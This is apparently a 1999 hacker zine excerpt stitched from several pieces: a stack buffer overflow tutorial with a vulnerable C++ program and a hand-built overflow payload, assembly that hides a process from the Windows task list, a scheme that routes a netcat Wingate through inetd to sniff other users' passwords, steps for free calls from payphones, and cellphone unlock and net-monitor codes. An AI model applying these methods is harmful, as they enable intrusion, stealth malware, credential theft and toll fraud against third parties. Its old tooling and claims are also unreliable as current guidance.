This article is an attempt to quickly and simply explain everyone's favourite
manner of exploiting daemons - The Buffer Overflow.

- Huh? -

The remote buffer overflow is a very commonly found and exploited bug in badly
coded daemons - by overflowing the stack one can cause the software to execute
a shell equal to its current UID - thus if the daemon is run as root, like
many are, a root shell will be spawned, giving full remote access.

A buffer is a block of computer memory that holds many instances of the same
data type - an array. Arrays can be static and dynamic, static being allocated
at load time and dynamic being allocated dynamically at run time. We will be
looking at dynamic buffers, or stack-based buffers, and overflowing, filling
up over the top, or breaking their boundaries.

A stack has the property of a queue of objects being placed one on top of the
other, and the last object placed on the stack will be the first one to be
removed. This is called LIFO - or last in first out. An element can be added 
to the stack (PUSH) and removed (POP). A stack is made up of stack frames, 
which are pushed when calling a function in code and popped when returning it.

The stack pointer (SP) always points to the top of the stack, the bottom of it
is static. PUSH and POP operations manipulate the size of the stack
dynamically at run time, and its growth will either be down the memory
addresses, or up them.  This means that one could address variables in the
stack by giving their offsets from SP, but as POP's and PUSH's occur these
offsets change around. Another type of pointer points to a fixed location
within a frame (FP). This can be used for referencing variables because their
distances from the FP will not change.

- The Overflow -

A buffer overflow is what happens when more data is forced into the stack than
it can handle. We use this to change the flow of execution of a program -
hopefully by executing code of our choice, normally just to spawn a shell.

We can change the return address of a function by overwriting the entire
contents of the buffer, by overfilling it and pushing data out - this then
means that we can change the flow of the program. By filling the buffer up
with shellcode, designed to spawn a shell on the remote machine, and
overwriting the return address so that it points back into the buffer, we can
make the program run the shellcode.

This is just a simplified version of what actually happens during a buffer
overflow - there is more to it, but the basics are essential to understand if
you want to win an argument one day.

[ Epilogue by Wyzewun:

Time for a practical example. I did this some time ago on my Dad's Windoze box
to explain it to myself: I had downloaded a file on Win32 buffer overflows but
I really didn't feel like reading, so I figured it out myself instead. It took
me +-20 mins to do the whole thing, but at least I was keeping a log of me
trying to get it right so I can just paste it more or less unchanged here -
save, of course, for the explanations. Next time I'll get human and actually
READ UP on whatever I'm trying to do before I try DO it so I don't waste so
much damn time. :/ Anyway, here's the notes...

#include <iostream.h>
#include <string.h>

int main() {

  char buffer[40];
  char buffer2[20]; // This doesn't need to be smaller though

  cout << "Gimmee a variable\n";
  cin >> buffer;
  strcpy(buffer2, buffer);
  return 666; }

Because strcpy() has no bounds checking, there is an obvious buffer overflow
vulnerability here...

c:\>overflow
Gimmee a variable
12345678901234567890

It executed fine. Now lets try...

c:\>overflow
Gimmee a variable
123456789012345678901

At this point Windoze cuts in with the following...

OVERFLOW caused an invalid page fault in module OVERFLOW.EXE at 015f:00402127.

Registers:
EAX=0000029a CS=015f EIP=00402127 EFLGS=00000206

Bytes at CS:EIP:

00403d18 00407190 00000000 0063ff78 bff8b537 00000000 81596754 00530000 

Is this a buffer overflow bug or is this something else we are mistaking for
one? Well, let's check, we feed it a good 30 "a" characters and we look at the
values of the registers when it dies....

Registers:
EAX=0000029a CS=015f EIP=61616161 EFLGS=00000202
EBX=00530000 SS=0167 ESP=0063fe00 EBP=61616161
ECX=0063fddc DS=0167 ESI=81596628 FS=117f
EDX=00006161 ES=0167 EDI=00000000 GS=0000

Aaah, see that? EIP is 61616161 - 61 being the hex value of the "a" character,
so it's overflowing allright. Now let's exploit it. :) First off, we add the
following line into the example C++ proggy above...

cout << &buffer2 << "\n";

And when executing the program, the output we get is as follows...

0x0063FDE4
Gimmee a variable

Right, so buffer2's address is 0x0063FDE4 - and just in case that's a bit off
for some reason - we'll pad it a bit.

Padding? Right. Executing the NOP function (0x90) which most CPU's have - just
something to do nothing. That way, hopefully, when we overwrite the return
address we can land somewhere in the middle of the NOPs, and then just execute
along until we get to our shellcode. Errr, I'm not being clear, what I mean is
the buffer will look like: [NOPNOPNOPNOP] [SHELLCODE] [NOPNOPNOPNOP] [RET]

Shellcode? Right. We can execute pretty much anything we want, and as much as
I would like to have interesting shellcode, I don't have the tools to make
some on this PC, and I *really* don't feel like going online to rip somebody
else's. And so, my choice in shellcode - int 20h - program termination. :)

Right!!! So our shellcode is 2 characters, and we can feed the program 24
characters before we start overwriting the return address, so lets have 11 NOP
characters on either side of our shellcode just to make it pretty and even
looking. Let's try this out...

c:\>overflow
Gimmee a variable
&#47537;&#47537;&#47537;&#47537;&#47537;&#47631; &#47537;&#47537;&#47537;&#47537;&#47537;&#47488;歆

c:\>

Heeey, I gave it too many characters and it didn't crash. It worked. :) That
string in hex would be 9090909090909090909090CD20909090909090909090909063FDE4,
the CD20 in the middle being interrupt 20h, and the 63FDE4 being the address
of the buffer we're overflowing, which we are setting as the return address,
namely 0x0063FDE4. Hopefully you're beginning to see the idea here. If you
would like to play around with my example file some more, I included the
binary in the general-junk directory of this issue. Have fun! ]

Ammendment to FK8 by Wyzewun - Released 27th December, 1999

Every single file available on buffer overflow mentions that strcpy(),
strcat(), sprintf(), vsprintf(), gets() and loops using getc(), fgetc() and
getchar() are problematic but for some reason no-one has noticed that 'cin >>'
is also a problem. So yeh, the demonstration overflow code we featured in FK8
has *two* vulnerabilities, and we were exploiting the one we didn't know 
existed: It just happened to still work because of the padding, heh. ;-P 
Anyway, cin is an *extremely* commonly used function in C++ code, and it ought
to be more widely known that the favoured use of it is insecure. Ditto for
improper use of an ifstream. If you insist on using iostream.h (cin and
ifstream) then use get() and getline() instead of the '>>' system.

Also, some newbies may have been confused by my comment about the buffer2
array which makes no sense. What I *meant* to say (but which got lost due to
general braindeadness at the time of writing) is that buffer2 needn't be so
much smaller than buffer1: even a single byte is enough.

Oh, and as a final correction - Pneuma's addy is satur9@punkass.com and not
the one specified in the zine. :) Right, just a small update, but a necessary
one. And watch out for FK9, coming your way in February or March 2000!

Cheers,
Wyzewun

So now as another practical example, let's look at how we would hide a program
from Windoze using masm32. To do this we simply pass the program's process ID
to the RegisterService() function thus registering the program as a service,
which wont show up in the windows task list.

.data               ; first we define in our data section

    szKernel32      db   "Kernel32.dll",0
    szRSP           db   "RegisterServiceProcess",0

.code               ; now we start the code
start:

    push   offset szKernel32
    call   GetModuleHandle       ; get Kernel32.dll handle
    push   offset szRSP
    push   eax
    call   GetProcAddress        ; get function address
    mov    ebx, eax              ; save our pointer into ebx

    call   GetCurrentProcessId   ; get current process id

    push   1                     ; 1 = Register Service, 0 = Unregister Serv.
    push   eax                   ; process id
    call   ebx                   ; call RegisterServiceProcess

end start

We could do this in any language which we can access the Win32 API from
really, I just used assembly as an example because it's what we're playing
with here. :)

[ Some more additions from Wyzewun: And there you have it. If you're
  interested in getting involved with Assembly Programming, look around at the
  stuff available in the programming tutorials section of Packetstorm Security
  and particularly the tutorial available there made by the University of
  Guadalajara (don't ask me where that is) which is quite detailed. As you get
  better you will find other resources for ASM coding all over the place, so
  look around and you shouldn't have much trouble finding what you want. :)

  PacketStorm also has some great resources for other programming languages
  like C/C++, Pascal, JavaScript, Perl, Python - you name it. :) Mm, no TCL/TK
  yet, but I s'pose you can pick that up at other places.

  Also, try and see if you can get hold of the SAMS MS-DOS Bible - it's what
  I learnt what I know about assembly from and it's a great reference for
  DOS/Windoze ASM. Mmm, I'm still using the Second Edition (Covers MS-DOS 3.3)
  but I'm sure there are newer versions lying around. Well, I hope. Otherwise
  it won't be much use, now will it? :) ]

                     Fun with "Trojan" Wingates by Wyzewun
.-= {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-} {-=+=-}=-.

Allright, here's a lame little idea for the purpose of abusing hacker kiddies.
Scenario: It's a Sunday afternoon. There is nothing to do. The sun is cooking
your brain and you've hardly the energy to move, let-alone actually do
something that requires an IQ above that of an oyster. What do you do?

Step One
+-====-+
Install a Sniffer on your box. There is a nice collection of sniffers at
ftp.technotronic.com/unix/network-sniffers or alternatively, if you have
friends like Vortexia who are lamer warez kiddies that can leech stuff for
you, have a NT/98 box as your gateway and install Sniffer Pro by Network
Associates on it. It's a seriously kickass proggy - Even though NAI suck. :P

Step Two
+-====-+
Anyway, so for lack of anything better to do, lets go to www.cyberarmy.com and
look at the list of Wingates. Hmmm... Bullshit, Bullshit, Bullshit - Aaah,
here's one that works - lets say - dns.gincorp.co.jp - Right, so now we have
a Wingate. Errr... So What?

Step Three
+-======-+
[drew@kung-fusion]$ cat > phjeeer << seckz
#!/bin/bash
nc dns.gincorp.co.jp 23
echo shj3esh j0or a fuqn tw1t
seckz
[drew@kung-fusion]$ chmod 755 phjeeer

Step Four
+-=====-+
Hmmm. I'm still bored. I know! I think I'll su and edit some random junk into
my /etc/inetd.conf or something...

Before Eliteness...
#telnet stream tcp nowait root /usr/local/libexec/tcpd /usr/libexec/telnetd

After Eliteness...
telnet stream tcp nowait drew /usr/local/libexec/tcpd /home/drew/phjeeer

Now we 'killall -9 -HUP inetd' - loose our connection to that lame IRC
session which wasn't even vaguely interesting anyway, and we are now left just
as bored as before.

Step Five
+-=====-+
I'm bored. I think I'll telnet into myself...

[drew@kung-fusion]$ telnet leet.bsd.box
Trying 192.168.33.3...
Connected to leet.bsd.box.
Escape character is '^]'.
Wingate>

A Wingate! Fuqn shit du0d! I'm gonna go back to www.cyberarmy.com and add
myself to the Wingate list so peeble can abj00ze me too!@#$%

And then...
+--==--==-+
Within a few hours, our sniffer logs begin to pick up all sorts of interesting
things like usernames and passwords for things people shouldn't be accessing,
lamers making fools of themselves on IRC and all sorts of funny stuff. Aaah,
at last. Entertainment at the expense of the hacker community. Who says we
aren't united, man? I *Love* these guys...

But Remember...
+--==--==--==-+
This can be dangerous and if you don't select the Wingate to abuse carefully
you may end up getting yourself in more trouble than you bargained for. Don't
be stupid. :)

First off, let's cover phreaking the telkom tetabox fones. Note: Not the big
blues ones, those small ones you find in some places [Wyzewun: He's reffering
to Telkom's Chatterbox range. You'll recognize it coz it says "Chatterbox" on
it - imagine that :P]

This technique was picked up by me when trying to phone ppl in Johannesburg
when i was at boarding school, and lets you use telkom coin phone to phone for
free (not exactly free cause the line still gets charged just not you)...

1) You need access to the plugin point of the phone (some of the older phones
   have a point where the jack can be attached to the phone, in the newer ones
   the jack is already attached, therefore you need to find then point where
   the jack goes into the wall instead)

2) Now dial '080' and wait for the fast engaged signal [Wyzewun: Number
   unobtainable tone]

3) When you have the signal quickly take the jack out of the connection point
   and put it back in, check if the phone has dialing tone and 080 is still
   printed on the LCD screen, if there is no dialing tone you have moved the
   line in and out too fast, if the 080 is not printed on the screen you have
   moved the line too slow

4) Now the phone has 080 on the screen and then you can dial the number you
   want. Also note that if you want to dial a local number you must enter the
   area code.

Theory behind this: The phone is lead to believe that you are dialing a 080
(toll free) number.

Wondering: If you cut a fone line coming out a normal payphone and connect it
to so that you have a point where you can connect and disconnect as you
please, would this work? [Wyzewun: Yeh]

Now for How to get mastercode for unlocking cellphones...

The code is a combination of the SP code (5 digit) and phone IMEI (15 digit)
use mc1.exe and mc2.exe to get the code

To view the IMEI of the Cell, press: *#06#

Check,Activate or Remove card restrictions

    #pw+XXXXXXXXXX+1# - Provider-Lock status
    #pw+XXXXXXXXXX+2# - Network-Lock status 
    #pw+XXXXXXXXXX+3# - Provider(???)-Lock status 
    #pw+XXXXXXXXXX+4# - SimCard-Lock status 

XXXXXXXXXX (master code) is a 10 digit code, based on the IMEI number of your
phone. Press * many times for "p" and "w".

Service Provider Codes

MTN = 655 10
Vodacom = 655 01

Now let's play around a bit with Net monitor on your cellphones (works wif
Nokia 51xx and 61xx maybe 3210)

Net Monitor is an extended menu on Nokia Phone. This will be a new additional
Menu on your Nokia 5110 if you installing this option. For enabling the Net
Monitor with a FBUS cable you need the DOS software PCLocals V1.3.

The Network Monitor gives you the following information:

Carrier number
MS RX level in dBM 
Received signal quality 
MS TX power level 
C1 (path loss criterion, used for cell selection and reselection). The range
is -99 to 99
RLT (Radio Link timeout) 
Timeslot 
Indication of the transmitter status 
Information on the network parameters 
TMSI (temporary Mobile Subscriber Identity) 
Cell Identification (CELL ID, number of the cell being used) 
MCC (Mobile Country Code) 
MNC (Mobile Network Code) 
LAC (location Area Code) 
Ciphering (on/off) 
Hopping (on/off) 
DTX (on/off) 
Discarding cell barred information

Here is a 10 step description for enabling the net monitor (field test
display) using PCLocals:

Make sure to start PCLocals in plain DOS

First don't connect the phone, start the program and ignore the error message.
Configure the cable type and com port (hardware com port, not the virtual com
port like for the datasuite).
Save the settings, quit the program. 
Connect the phone with the cable and start the program. 
The phone "boots" as you enter the main menu and all options become available
(all menus are white colored).
Choose menu 3 (ME Memory Functions). 
Choose menu 6 (Field Test Display Settings). 
Now you have the following options:

Enter 243 to activate the "big" net monitor (menu 01 to 89 including menus 01
to 19).
Enter 242 to activate the "small" net monitor (menu 01 to 19). 
Enter 241 to deactivate the net monitor. 
Enter 240 to reset timers (?) 
Don't forget to confirm your selection with hitting enter (you won't see any
reaction but it's necessary)

Quit the program, the phone "boots" and enjoy the net monitor 

All following actions are done with the phone.

Go to the menu net monitor and at the test prompt enter 241 to deactivate the
net monitor completely. Furtherly you can change from the big net monitor to
the small net monitor by entering 242 at the test prompt (if menu net monitor
is still available); Note: after that you can't change to the big net monitor
again!!

Note: if u cant find pclocals use net_monitor.exe, i dunno if it gets the big
or small menu
